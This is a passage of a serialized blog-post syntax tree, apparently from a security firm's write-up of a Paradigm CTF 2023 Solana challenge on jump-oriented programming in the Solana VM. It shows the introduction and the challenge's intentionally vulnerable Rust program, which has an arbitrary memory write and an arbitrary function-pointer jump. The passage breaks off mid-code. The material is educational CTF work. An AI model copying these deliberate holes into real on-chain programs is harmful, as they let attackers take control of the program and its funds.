,"date":37974,"isFeatured":15,"onBlogPage":15,"body":37975,"_type":358,"_id":43395,"_source":360,"_file":43396,"_stem":43397,"_extension":363},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[37971,3195],"nicola",{"src":37973},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":20,"children":37976,"toc":43384},[37977,37991,38011,38016,38020,38033,38058,38064,38069,38084,38438,38453,38718,38734,39377,39383,39388,39401,39409,39621,39629,39932,39940,40083,40091,40616,40622,40634,40647,40661,40666,41434,41439,41447,41452,41458,41470,41535,41540,41553,41566,41572,41600,42751,42764,42806,42811,42816,42830,42970,42991,43012,43019,43070,43078,43089,43102,43107,43231,43244,43346,43350,43363,43368,43380],{"type":23,"tag":24,"props":37978,"children":37979},{},[37980,37982,37989],{"type":28,"value":37981},"In the world of CTFs, ",{"type":23,"tag":190,"props":37983,"children":37986},{"href":37984,"rel":37985},"https://twitter.com/paradigm_ctf",[194],[37987],{"type":28,"value":37988},"Paradigm CTF 2023",{"type":28,"value":37990}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":23,"tag":24,"props":37992,"children":37993},{},[37994,37996,38003,38004],{"type":28,"value":37995},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":23,"tag":190,"props":37997,"children":38000},{"href":37998,"rel":37999},"https://osec.io/blog/2022-03-14-solana-security-intro",[194],[38001],{"type":28,"value":38002},"Solana: An Auditor's Introduction",{"type":28,"value":8478},{"type":23,"tag":190,"props":38005,"children":38008},{"href":38006,"rel":38007},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[194],[38009],{"type":28,"value":38010},"Reverse Engineering Solana with Binary Ninja.\n",{"type":23,"tag":24,"props":38012,"children":38013},{},[38014],{"type":28,"value":38015},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":23,"tag":31,"props":38017,"children":38018},{"id":16452},[38019],{"type":28,"value":16455},{"type":23,"tag":24,"props":38021,"children":38022},{},[38023,38025,38031],{"type":28,"value":38024},"The challenge itself resides into ",{"type":23,"tag":64,"props":38026,"children":38028},{"className":38027},[],[38029],{"type":28,"value":38030},"framework/",{"type":28,"value":38032},", and is composed of 2 parts:",{"type":23,"tag":14178,"props":38034,"children":38035},{},[38036,38047],{"type":23,"tag":77,"props":38037,"children":38038},{},[38039,38045],{"type":23,"tag":64,"props":38040,"children":38042},{"className":38041},[],[38043],{"type":28,"value":38044},"framework/chall/lib.rs",{"type":28,"value":38046},": The on-chain eBPF program that needs to be exploited.",{"type":23,"tag":77,"props":38048,"children":38049},{},[38050,38056],{"type":23,"tag":64,"props":38051,"children":38053},{"className":38052},[],[38054],{"type":28,"value":38055},"framework/src/main.rs",{"type":28,"value":38057},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":23,"tag":7092,"props":38059,"children":38061},{"id":38060},"vulnerable-program",[38062],{"type":28,"value":38063},"Vulnerable Program",{"type":23,"tag":24,"props":38065,"children":38066},{},[38067],{"type":28,"value":38068},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":23,"tag":73,"props":38070,"children":38071},{},[38072],{"type":23,"tag":77,"props":38073,"children":38074},{},[38075,38076,38082],{"type":28,"value":4958},{"type":23,"tag":64,"props":38077,"children":38079},{"className":38078},[],[38080],{"type":28,"value":38081},"data[0] == 0",{"type":28,"value":38083}," a function that lets you write-what-where is executed",{"type":23,"tag":435,"props":38085,"children":38087},{"className":475,"code":38086,"language":474,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr.write_volatile(val);\n }\n}\n",[38088],{"type":23,"tag":64,"props":38089,"children":38090},{"__ignoreMap":7},[38091,38099,38144,38155,38278,38395,38424,38431],{"type":23,"tag":481,"props":38092,"children":38093},{"class":483,"line":484},[38094],{"type":23,"tag":481,"props":38095,"children":38096},{"style":525},[38097],{"type":28,"value":38098},"#[inline(never)]\n",{"type":23,"tag":481,"props":38100,"children":38101},{"class":483,"line":351},[38102,38106,38110,38115,38119,38123,38127,38131,38135,38139],{"type":23,"tag":481,"props":38103,"children":38104},{"style":497},[38105],{"type":28,"value":11178},{"type":23,"tag":481,"props":38107,"children":38108},{"style":497},[38109],{"type":28,"value":11183},{"type":23,"tag":481,"props":38111,"children":38112},{"style":610},[38113],{"type":28,"value":38114}," write",{"type":23,"tag":481,"props":38116,"children":38117},{"style":525},[38118],{"type":28,"value":618},{"type":23,"tag":481,"props":38120,"children":38121},{"style":508},[38122],{"type":28,"value":1237},{"type":23,"tag":481,"props":38124,"children":38125},{"style":514},[38126],{"type":28,"value":287},{"type":23,"tag":481,"props":38128,"children":38129},{"style":514},[38130],{"type":28,"value":4619},{"type":23,"tag":481,"props":38132,"children":38133},{"style":525},[38134],{"type":28,"value":1269},{"type":23,"tag":481,"props":38136,"children":38137},{"style":943},[38138],{"type":28,"value":946},{"type":23,"tag":481,"props":38140,"children":38141},{"style":525},[38142],{"type":28,"value":38143},"]) {\n",{"type":23,"tag":481,"props":38145,"children":38146},{"class":483,"line":531},[38147,38151],{"type":23,"tag":481,"props":38148,"children":38149},{"style":497},[38150],{"type":28,"value":11321},{"type":23,"tag":481,"props":38152,"children":38153},{"style":525},[38154],{"type":28,"value":809},{"type":23,"tag":481,"props":38156,"children":38157},{"class":483,"line":567},[38158,38162,38166,38170,38175,38179,38184,38188,38193,38197,38202,38206,38210,38214,38218,38222,38226,38230,38234,38238,38242,38246,38250,38254,38258,38262,38266,38270,38274],{"type":23,"tag":481,"props":38159,"children":38160},{"style":497},[38161],{"type":28,"value":573},{"type":23,"tag":481,"props":38163,"children":38164},{"style":508},[38165],{"type":28,"value":11345},{"type":23,"tag":481,"props":38167,"children":38168},{"style":514},[38169],{"type":28,"value":517},{"type":23,"tag":481,"props":38171,"children":38172},{"style":525},[38173],{"type":28,"value":38174}," std",{"type":23,"tag":481,"props":38176,"children":38177},{"style":514},[38178],{"type":28,"value":1006},{"type":23,"tag":481,"props":38180,"children":38181},{"style":525},[38182],{"type":28,"value":38183},"mem",{"type":23,"tag":481,"props":38185,"children":38186},{"style":514},[38187],{"type":28,"value":1006},{"type":23,"tag":481,"props":38189,"children":38190},{"style":610},[38191],{"type":28,"value":38192},"transmute",{"type":23,"tag":481,"props":38194,"children":38195},{"style":514},[38196],{"type":28,"value":1006},{"type":23,"tag":481,"props":38198,"children":38199},{"style":525},[38200],{"type":28,"value":38201},"\u003C[",{"type":23,"tag":481,"props":38203,"children":38204},{"style":943},[38205],{"type":28,"value":946},{"type":23,"tag":481,"props":38207,"children":38208},{"style":525},[38209],{"type":28,"value":14719},{"type":23,"tag":481,"props":38211,"children":38212},{"style":551},[38213],{"type":28,"value":1622},{"type":23,"tag":481,"props":38215,"children":38216},{"style":525},[38217],{"type":28,"value":20559},{"type":23,"tag":481,"props":38219,"children":38220},{"style":514},[38221],{"type":28,"value":2120},{"type":23,"tag":481,"props":38223,"children":38224},{"style":497},[38225],{"type":28,"value":1259},{"type":23,"tag":481,"props":38227,"children":38228},{"style":943},[38229],{"type":28,"value":3336},{"type":23,"tag":481,"props":38231,"children":38232},{"style":525},[38233],{"type":28,"value":5089},{"type":23,"tag":481,"props":38235,"children":38236},{"style":508},[38237],{"type":28,"value":1237},{"type":23,"tag":481,"props":38239,"children":38240},{"style":525},[38241],{"type":28,"value":1269},{"type":23,"tag":481,"props":38243,"children":38244},{"style":514},[38245],{"type":28,"value":559},{"type":23,"tag":481,"props":38247,"children":38248},{"style":551},[38249],{"type":28,"value":1622},{"type":23,"tag":481,"props":38251,"children":38252},{"style":525},[38253],{"type":28,"value":12900},{"type":23,"tag":481,"props":38255,"children":38256},{"style":514},[38257],{"type":28,"value":199},{"type":23,"tag":481,"props":38259,"children":38260},{"style":610},[38261],{"type":28,"value":23673},{"type":23,"tag":481,"props":38263,"children":38264},{"style":525},[38265],{"type":28,"value":11367},{"type":23,"tag":481,"props":38267,"children":38268},{"style":514},[38269],{"type":28,"value":199},{"type":23,"tag":481,"props":38271,"children":38272},{"style":610},[38273],{"type":28,"value":1196},{"type":23,"tag":481,"props":38275,"children":38276},{"style":525},[38277],{"type":28,"value":12914},{"type":23,"tag":481,"props":38279,"children":38280},{"class":483,"line":678},[38281,38285,38290,38294,38298,38302,38306,38310,38314,38318,38322,38326,38330,38334,38338,38342,38346,38350,38354,38358,38362,38367,38371,38375,38379,38383,38387,38391],{"type":23,"tag":481,"props":38282,"children":38283},{"style":497},[38284],{"type":28,"value":573},{"type":23,"tag":481,"props":38286,"children":38287},{"style":508},[38288],{"type":28,"value":38289}," val",{"type":23,"tag":481,"props":38291,"children":38292},{"style":514},[38293],{"type":28,"value":517},{"type":23,"tag":481,"props":38295,"children":38296},{"style":525},[38297],{"type":28,"value":38174},{"type":23,"tag":481,"props":38299,"children":38300},{"style":514},[38301],{"type":28,"value":1006},{"type":23,"tag":481,"props":38303,"children":38304},{"style":525},[38305],{"type":28,"value":38183},{"type":23,"tag":481,"props":38307,"children":38308},{"style":514},[38309],{"type":28,"value":1006},{"type":23,"tag":481,"props":38311,"children":38312},{"style":610},[38313],{"type":28,"value":38192},{"type":23,"tag":481,"props":38315,"children":38316},{"style":514},[38317],{"type":28,"value":1006},{"type":23,"tag":481,"props":38319,"children":38320},{"style":525},[38321],{"type":28,"value":38201},{"type":23,"tag":481,"props":38323,"children":38324},{"style":943},[38325],{"type":28,"value":946},{"type":23,"tag":481,"props":38327,"children":38328},{"style":525},[38329],{"type":28,"value":14719},{"type":23,"tag":481,"props":38331,"children":38332},{"style":551},[38333],{"type":28,"value":1622},{"type":23,"tag":481,"props":38335,"children":38336},{"style":525},[38337],{"type":28,"value":20559},{"type":23,"tag":481,"props":38339,"children":38340},{"style":943},[38341],{"type":28,"value":5521},{"type":23,"tag":481,"props":38343,"children":38344},{"style":525},[38345],{"type":28,"value":5089},{"type":23,"tag":481,"props":38347,"children":38348},{"style":508},[38349],{"type":28,"value":1237},{"type":23,"tag":481,"props":38351,"children":38352},{"style":525},[38353],{"type":28,"value":1269},{"type":23,"tag":481,"props":38355,"children":38356},{"style":551},[38357],{"type":28,"value":1622},{"type":23,"tag":481,"props":38359,"children":38360},{"style":514},[38361],{"type":28,"value":559},{"type":23,"tag":481,"props":38363,"children":38364},{"style":551},[38365],{"type":28,"value":38366},"16",{"type":23,"tag":481,"props":38368,"children":38369},{"style":525},[38370],{"type":28,"value":12900},{"type":23,"tag":481,"props":38372,"children":38373},{"style":514},[38374],{"type":28,"value":199},{"type":23,"tag":481,"props":38376,"children":38377},{"style":610},[38378],{"type":28,"value":23673},{"type":23,"tag":481,"props":38380,"children":38381},{"style":525},[38382],{"type":28,"value":11367},{"type":23,"tag":481,"props":38384,"children":38385},{"style":514},[38386],{"type":28,"value":199},{"type":23,"tag":481,"props":38388,"children":38389},{"style":610},[38390],{"type":28,"value":1196},{"type":23,"tag":481,"props":38392,"children":38393},{"style":525},[38394],{"type":28,"value":12914},{"type":23,"tag":481,"props":38396,"children":38397},{"class":483,"line":784},[38398,38403,38407,38412,38416,38420],{"type":23,"tag":481,"props":38399,"children":38400},{"style":508},[38401],{"type":28,"value":38402}," ptr",{"type":23,"tag":481,"props":38404,"children":38405},{"style":514},[38406],{"type":28,"value":199},{"type":23,"tag":481,"props":38408,"children":38409},{"style":610},[38410],{"type":28,"value":38411},"write_volatile",{"type":23,"tag":481,"props":38413,"children":38414},{"style":525},[38415],{"type":28,"value":618},{"type":23,"tag":481,"props":38417,"children":38418},{"style":508},[38419],{"type":28,"value":10119},{"type":23,"tag":481,"props":38421,"children":38422},{"style":525},[38423],{"type":28,"value":1366},{"type":23,"tag":481,"props":38425,"children":38426},{"class":483,"line":812},[38427],{"type":23,"tag":481,"props":38428,"children":38429},{"style":525},[38430],{"type":28,"value":879},{"type":23,"tag":481,"props":38432,"children":38433},{"class":483,"line":825},[38434],{"type":23,"tag":481,"props":38435,"children":38436},{"style":525},[38437],{"type":28,"value":1443},{"type":23,"tag":73,"props":38439,"children":38440},{"start":351},[38441],{"type":23,"tag":77,"props":38442,"children":38443},{},[38444,38445,38451],{"type":28,"value":4958},{"type":23,"tag":64,"props":38446,"children":38448},{"className":38447},[],[38449],{"type":28,"value":38450},"data[0] == 1",{"type":28,"value":38452},", a CPI to a non-existent program is executed:",{"type":23,"tag":435,"props":38454,"children":38456},{"className":475,"code":38455,"language":474,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n let ix = Instruction {\n program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n data: data.try_into().unwrap(),\n accounts: vec![]\n };\n\n invoke_signed_unchecked(\n &ix,\n &[],\n &[],\n ).unwrap();\n}\n",[38457],{"type":23,"tag":64,"props":38458,"children":38459},{"__ignoreMap":7},[38460,38467,38511,38536,38566,38606,38627,38634,38641,38653,38669,38681,38692,38711],{"type":23,"tag":481,"props":38461,"children":38462},{"class":483,"line":484},[38463],{"type":23,"tag":481,"props":38464,"children":38465},{"style":525},[38466],{"type":28,"value":38098},{"type":23,"tag":481,"props":38468,"children":38469},{"class":483,"line":351},[38470,38474,38478,38483,38487,38491,38495,38499,38503,38507],{"type":23,"tag":481,"props":38471,"children":38472},{"style":497},[38473],{"type":28,"value":11178},{"type":23,"tag":481,"props":38475,"children":38476},{"style":497},[38477],{"type":28,"value":11183},{"type":23,"tag":481,"props":38479,"children":38480},{"style":610},[38481],{"type":28,"value":38482}," call",{"type":23,"tag":481,"props":38484,"children":38485},{"style":525},[38486],{"type":28,"value":618},{"type":23,"tag":481,"props":38488,"children":38489},{"style":508},[38490],{"type":28,"value":1237},{"type":23,"tag":481,"props":38492,"children":38493},{"style":514},[38494],{"type":28,"value":287},{"type":23,"tag":481,"props":38496,"children":38497},{"style":514},[38498],{"type":28,"value":4619},{"type":23,"tag":481,"props":38500,"children":38501},{"style":525},[38502],{"type":28,"value":1269},{"type":23,"tag":481,"props":38504,"children":38505},{"style":943},[38506],{"type":28,"value":946},{"type":23,"tag":481,"props":38508,"children":38509},{"style":525},[38510],{"type":28,"value":38143},{"type":23,"tag":481,"props":38512,"children":38513},{"class":483,"line":531},[38514,38518,38523,38527,38532],{"type":23,"tag":481,"props":38515,"children":38516},{"style":497},[38517],{"type":28,"value":500},{"type":23,"tag":481,"props":38519,"children":38520},{"style":508},[38521],{"type":28,"value":38522}," ix",{"type":23,"tag":481,"props":38524,"children":38525},{"style":514},[38526],{"type":28,"value":517},{"type":23,"tag":481,"props":38528,"children":38529},{"style":943},[38530],{"type":28,"value":38531}," Instruction",{"type":23,"tag":481,"props":38533,"children":38534},{"style":525},[38535],{"type":28,"value":809},{"type":23,"tag":481,"props":38537,"children":38538},{"class":483,"line":567},[38539,38544,38548,38553,38557,38562],{"type":23,"tag":481,"props":38540,"children":38541},{"style":508},[38542],{"type":28,"value":38543}," program_id",{"type":23,"tag":481,"props":38545,"children":38546},{"style":514},[38547],{"type":28,"value":287},{"type":23,"tag":481,"props":38549,"children":38550},{"style":610},[38551],{"type":28,"value":38552}," pubkey!",{"type":23,"tag":481,"props":38554,"children":38555},{"style":525},[38556],{"type":28,"value":618},{"type":23,"tag":481,"props":38558,"children":38559},{"style":1805},[38560],{"type":28,"value":38561},"\"osecio5555555555555551111111111111111111111\"",{"type":23,"tag":481,"props":38563,"children":38564},{"style":525},[38565],{"type":28,"value":4214},{"type":23,"tag":481,"props":38567,"children":38568},{"class":483,"line":678},[38569,38574,38578,38582,38586,38590,38594,38598,38602],{"type":23,"tag":481,"props":38570,"children":38571},{"style":508},[38572],{"type":28,"value":38573}," data",{"type":23,"tag":481,"props":38575,"children":38576},{"style":514},[38577],{"type":28,"value":287},{"type":23,"tag":481,"props":38579,"children":38580},{"style":508},[38581],{"type":28,"value":12593},{"type":23,"tag":481,"props":38583,"children":38584},{"style":514},[38585],{"type":28,"value":199},{"type":23,"tag":481,"props":38587,"children":38588},{"style":610},[38589],{"type":28,"value":23673},{"type":23,"tag":481,"props":38591,"children":38592},{"style":525},[38593],{"type":28,"value":11367},{"type":23,"tag":481,"props":38595,"children":38596},{"style":514},[38597],{"type":28,"value":199},{"type":23,"tag":481,"props":38599,"children":38600},{"style":610},[38601],{"type":28,"value":1196},{"type":23,"tag":481,"props":38603,"children":38604},{"style":525},[38605],{"type":28,"value":1016},{"type":23,"tag":481,"props":38607,"children":38608},{"class":483,"line":784},[38609,38614,38618,38622],{"type":23,"tag":481,"props":38610,"children":38611},{"style":508},[38612],{"type":28,"value":38613}," accounts",{"type":23,"tag":481,"props":38615,"children":38616},{"style":514},[38617],{"type":28,"value":287},{"type":23,"tag":481,"props":38619,"children":38620},{"style":610},[38621],{"type":28,"value":1264},{"type":23,"tag":481,"props":38623,"children":38624},{"style":525},[38625],{"type":28,"value":38626},"[]\n",{"type":23,"tag":481,"props":38628,"children":38629},{"class":483,"line":812},[38630],{"type":23,"tag":481,"props":38631,"children":38632},{"style":525},[38633],{"type":28,"value":36515},{"type":23,"tag":481,"props":38635,"children":38636},{"class":483,"line":825},[38637],{"type":23,"tag":481,"props":38638,"children":38639},{"emptyLinePlaceholder":15},[38640],{"type":28,"value":1210},{"type":23,"tag":481,"props":38642,"children":38643},{"class":483,"line":843},[38644,38649],{"type":23,"tag":481,"props":38645,"children":38646},{"style":610},[38647],{"type":28,"value":38648}," invoke_signed_unchecked",{"type":23,"tag":481,"props":38650,"children":38651},{"style":525},[38652],{"type":28,"value":988},{"type":23,"tag":481,"props":38654,"children":38655},{"class":483,"line":864},[38656,38660,38665],{"type":23,"tag":481,"props":38657,"children":38658},{"style":514},[38659],{"type":28,"value":996},{"type":23,"tag":481,"props":38661,"children":38662},{"style":508},[38663],{"type":28,"value":38664},"ix",{"type":23,"tag":481,"props":38666,"children":38667},{"style":525},[38668],{"type":28,"value":1033},{"type":23,"tag":481,"props":38670,"children":38671},{"class":483,"line":873},[38672,38676],{"type":23,"tag":481,"props":38673,"children":38674},{"style":514},[38675],{"type":28,"value":996},{"type":23,"tag":481,"props":38677,"children":38678},{"style":525},[38679],{"type":28,"value":38680},"[],\n",{"type":23,"tag":481,"props":38682,"children":38683},{"class":483,"line":1125},[38684,38688],{"type":23,"tag":481,"props":38685,"children":38686},{"style":514},[38687],{"type":28,"value":996},{"type":23,"tag":481,"props":38689,"children":38690},{"style":525},[38691],{"type":28,"value":38680},{"type":23,"tag":481,"props":38693,"children":38694},{"class":483,"line":1142},[38695,38699,38703,38707],{"type":23,"tag":481,"props":38696,"children":38697},{"style":525},[38698],{"type":28,"value":1187},{"type":23,"tag":481,"props":38700,"children":38701},{"style":514},[38702],{"type":28,"value":199},{"type":23,"tag":481,"props":38704,"children":38705},{"style":610},[38706],{"type":28,"value":1196},{"type":23,"tag":481,"props":38708,"children":38709},{"style":525},[38710],{"type":28,"value":1201},{"type":23,"tag":481,"props":38712,"children":38713},{"class":483,"line":1159},[38714],{"type":23,"tag":481,"props":38715,"children":38716},{"style":525},[38717],{"type":28,"value":1443},{"type":23,"tag":73,"props":38719,"children":38720},{"start":531},[38721],{"type":23,"tag":77,"props":38722,"children":38723},{},[38724,38726,38732],{"type":28,"value":38725},"Finally, if ",{"type":23,"tag":64,"props":38727,"children":38729},{"className":38728},[],[38730],{"type":28,"value":38731},"data[0]",{"type":28,"value":38733}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":23,"tag":435,"props":38735,"children":38737},{"className":475,"code":38736,"language":474,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n\n data = &data[16..];\n\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n }\n}\n",[38738],{"type":23,"tag":64,"props":38739,"children":38740},{"__ignoreMap":7},[38741,38748,38796,38807,38927,39042,39061,39068,39103,39110,39229,39344,39363,39370],{"type":23,"tag":481,"props":38742,"children":38743},{"class":483,"line":484},[38744],{"type":23,"tag":481,"props":38745,"children":38746},{"style":525},[38747],{"type":28,"value":38098},{"type":23,"tag":481,"props":38749,"children":38750},{"class":483,"line":351},[38751,38755,38759,38764,38768,38772,38776,38780,38784,38788,38792],{"type":23,"tag":481,"props":38752,"children":38753},{"style":497},[38754],{"type":28,"value":11178},{"type":23,"tag":481,"props":38756,"children":38757},{"style":497},[38758],{"type":28,"value":11183},{"type":23,"tag":481,"props":38760,"children":38761},{"style":610},[38762],{"type":28,"value":38763}," process",{"type":23,"tag":481,"props":38765,"children":38766},{"style":525},[38767],{"type":28,"value":618},{"type":23,"tag":481,"props":38769,"children":38770},{"style":497},[38771],{"type":28,"value":1259},{"type":23,"tag":481,"props":38773,"children":38774},{"style":508},[38775],{"type":28,"value":12593},{"type":23,"tag":481,"props":38777,"children":38778},{"style":514},[38779],{"type":28,"value":287},{"type":23,"tag":481,"props":38781,"children":38782},{"style":514},[38783],{"type":28,"value":4619},{"type":23,"tag":481,"props":38785,"children":38786},{"style":525},[38787],{"type":28,"value":1269},{"type":23,"tag":481,"props":38789,"children":38790},{"style":943},[38791],{"type":28,"value":946},{"type":23,"tag":481,"props":38793,"children":38794},{"style":525},[38795],{"type":28,"value":38143},{"type":23,"tag":481,"props":38797,"children":38798},{"class":483,"line":531},[38799,38803],{"type":23,"tag":481,"props":38800,"children":38801},{"style":497},[38802],{"type":28,"value":11321},{"type":23,"tag":481,"props":38804,"children":38805},{"style":525},[38806],{"type":28,"value":809},{"type":23,"tag":481,"props":38808,"children":38809},{"class":483,"line":567},[38810,38814,38818,38822,38826,38830,38834,38838,38842,38846,38850,38854,38858,38862,38866,38870,38874,38878,38883,38887,38891,38895,38899,38903,38907,38911,38915,38919,38923],{"type":23,"tag":481,"props":38811,"children":38812},{"style":497},[38813],{"type":28,"value":573},{"type":23,"tag":481,"props":38815,"children":38816},{"style":508},[38817],{"type":28,"value":11345},{"type":23,"tag":481,"props":38819,"children":38820},{"style":514},[38821],{"type":28,"value":517},{"type":23,"tag":481,"props":38823,"children":38824},{"style":525},[38825],{"type":28,"value":38174},{"type":23,"tag":481,"props":38827,"children":38828},{"style":514},[38829],{"type":28,"value":1006},{"type":23,"tag":481,"props":38831,"children":38832},{"style":525},[38833],{"type":28,"value":38183},{"type":23,"tag":481,"props":38835,"children":38836},{"style":514},[38837],{"type":28,"value":1006},{"type":23,"tag":481,"props":38839,"children":38840},{"style":610},[38841],{"type":28,"value":38192},{"type":23,"tag":481,"props":38843,"children":38844},{"style":514},[38845],{"type":28,"value":1006},{"type":23,"tag":481,"props":38847,"children":38848},{"style":525},[38849],{"type":28,"value":38201},{"type":23,"tag":481,"props":38851,"children":38852},{"style":943},[38853],{"type":28,"value":946},{"type":23,"tag":481,"props":38855,"children":38856},{"style":525},[38857],{"type":28,"value":14719},{"type":23,"tag":481,"props":38859,"children":38860},{"style":551},[38861],{"type":28,"value":1622},{"type":23,"tag":481,"props":38863,"children":38864},{"style":525},[38865],{"type":28,"value":20559},{"type":23,"tag":481,"props":38867,"children":38868},{"style":497},[38869],{"type":28,"value":17764},{"type":23,"tag":481,"props":38871,"children":38872},{"style":525},[38873],{"type":28,"value":618},{"type":23,"tag":481,"props":38875,"children":38876},{"style":943},[38877],{"type":28,"value":5521},{"type":23,"tag":481,"props":38879,"children":38880},{"style":525},[38881],{"type":28,"value":38882},")>(",{"type":23,"tag":481,"props":38884,"children":38885},{"style":508},[38886],{"type":28,"value":1237},{"type":23,"tag":481,"props":38888,"children":38889},{"style":525},[38890],{"type":28,"value":1269},{"type":23,"tag":481,"props":38892,"children":38893},{"style":514},[38894],{"type":28,"value":559},{"type":23,"tag":481,"props":38896,"children":38897},{"style":551},[38898],{"type":28,"value":1622},{"type":23,"tag":481,"props":38900,"children":38901},{"style":525},[38902],{"type":28,"value":12900},{"type":23,"tag":481,"props":38904,"children":38905},{"style":514},[38906],{"type":28,"value":199},{"type":23,"tag":481,"props":38908,"children":38909},{"style":610},[38910],{"type":28,"value":23673},{"type":23,"tag":481,"props":38912,"children":38913},{"style":525},[38914],{"type":28,"value":11367},{"type":23,"tag":481,"props":38916,"children":38917},{"style":514},[38918],{"type":28,"value":199},{"type":23,"tag":481,"props":38920,"children":38921},{"style":610},[38922],{"type":28,"value":1196},{"type":23,"tag":481,"props":38924,"children":38925},{"style":525},[38926],{"type":28,"value":12914},{"type":23,"tag":481,"props":38928,"children":38929},{"class":483,"line":678},[38930,38934,38938,38942,38946,38950,38954,38958,38962,38966,38970,38974,38978,38982,38986,38990,38994,38998,39002,39006,39010,39014,39018,39022,39026,39030,39034,39038],{"type":23,"tag":481,"props":38931,"children":38932},{"style":497},[38933],{"type":28,"value":573},{"type":23,"tag":481,"props":38935,"children":38936},{"style":508},[38937],{"type":28,"value":38289},{"type":23,"tag":481,"props":38939,"children":38940},{"style":514},[38941],{"type":28,"value":517},{"type":23,"tag":481,"props":38943,"children":38944},{"style":525},[38945],{"type":28,"value":38174},{"type":23,"tag":481,"props":38947,"children":38948},{"style":514},[38949],{"type":28,"value":1006},{"type":23,"tag":481,"props":38951,"children":38952},{"style":525},[38953],{"type":28,"value":38183},{"type":23,"tag":481,"props":38955,"children":38956},{"style":514},[38957],{"type":28,"value":1006},{"type":23,"tag":481,"props":38959,"children":38960},{"style":610},[38961],{"type":28,"value":38192},{"type":23,"tag":481,"props":38963,"children":38964},{"style":514},[38965],{"type":28,"value":1006},{"type":23,"tag":481,"props":38967,"children":38968},{"style":525},[38969],{"type":28,"value":38201},{"type":23,"tag":481,"props":38971,"children":38972},{"style":943},[38973],{"type":28,"value":946},{"type":23,"tag":481,"props":38975,"children":38976},{"style":525},[38977],{"type":28,"value":14719},{"type":23,"tag":481,"props":38979,"children":38980},{"style":551},[38981],{"type":28,"value":1622},{"type":23,"tag":481,"props":38983,"children":38984},{"style":525},[38985],{"type":28,"value":20559},{"type":23,"tag":481,"props":38987,"children":38988},{"style":943},[38989],{"type":28,"value":5521},{"type":23,"tag":481,"props":38991,"children":38992},{"style":525},[38993],{"type":28,"value":5089},{"type":23,"tag":481,"props":38995,"children":38996},{"style":508},[38997],{"type":28,"value":1237},{"type":23,"tag":481,"props":38999,"children":39000},{"style":525},[39001],{"type":28,"value":1269},{"type":23,"tag":481,"props":39003,"children":39004},{"style":551},[39005],{"type":28,"value":1622},{"type":23,"tag":481,"props":39007,"children":39008},{"style":514},[39009],{"type":28,"value":559},{"type":23,"tag":481,"props":39011,"children":39012},{"style":551},[39013],{"type":28,"value":38366},{"type":23,"tag":481,"props":39015,"children":39016},{"style":525},[39017],{"type":28,"value":12900},{"type":23,"tag":481,"props":39019,"children":39020},{"style":514},[39021],{"type":28,"value":199},{"type":23,"tag":481,"props":39023,"children":39024},{"style":610},[39025],{"type":28,"value":23673},{"type":23,"tag":481,"props":39027,"children":39028},{"style":525},[39029],{"type":28,"value":11367},{"type":23,"tag":481,"props":39031,"children":39032},{"style":514},[39033],{"type":28,"value":199},{"type":23,"tag":481,"props":39035,"children":39036},{"style":610},[39037],{"type":28,"value":1196},{"type":23,"tag":481,"props":39039,"children":39040},{"style":525},[39041],{"type":28,"value":12914},{"type":23,"tag":481,"props":39043,"children":39044},{"class":483,"line":784},[39045,39049,39053,39057],{"type":23,"tag":481,"props":39046,"children":39047},{"style":610},[39048],{"type":28,"value":38402},{"type":23,"tag":481,"props":39050,"children":39051},{"style":525},[39052],{"type":28,"value":618},{"type":23,"tag":481,"props":39054,"children":39055},{"style":508},[39056],{"type":28,"value":10119},{"type":23,"tag":481,"props":39058,"children":39059},{"style":525},[39060],{"type":28,"value":1366},{"type":23,"tag":481,"props":39062,"children":39063},{"class":483,"line":812},[39064],{"type":23,"tag":481,"props":39065,"children":39066},{"emptyLinePlaceholder":15},[39067],{"type":28,"value":1210},{"type":23,"tag":481,"props":39069,"children":39070},{"class":483,"line":825},[39071,39075,39079,39083,39087,39091,39095,39099],{"type":23,"tag":481,"props":39072,"children":39073},{"style":508},[39074],{"type":28,"value":38573},{"type":23,"tag":481,"props":39076,"children":39077},{"style":514},[39078],{"type":28,"value":517},{"type":23,"tag":481,"props":39080,"children":39081},{"style":514},[39082],{"type":28,"value":4619},{"type":23,"tag":481,"props":39084,"children":39085},{"style":508},[39086],{"type":28,"value":1237},{"type":23,"tag":481,"props":39088,"children":39089},{"style":525},[39090],{"type":28,"value":1269},{"type":23,"tag":481,"props":39092,"children":39093},{"style":551},[39094],{"type":28,"value":38366},{"type":23,"tag":481,"props":39096,"children":39097},{"style":514},[39098],{"type":28,"value":559},{"type":23,"tag":481,"props":39100,"children":39101},{"style":525},[39102],{"type":28,"value":29089},{"type":23,"tag":481,"props":39104,"children":39105},{"class":483,"line":843},[39106],{"type":23,"tag":481,"props":39107,"children":39108},{"emptyLinePlaceholder":15},[39109],{"type":28,"value":1210},{"type":23,"tag":481,"props":39111,"children":39112},{"class":483,"line":864},[39113,39117,39121,39125,39129,39133,3913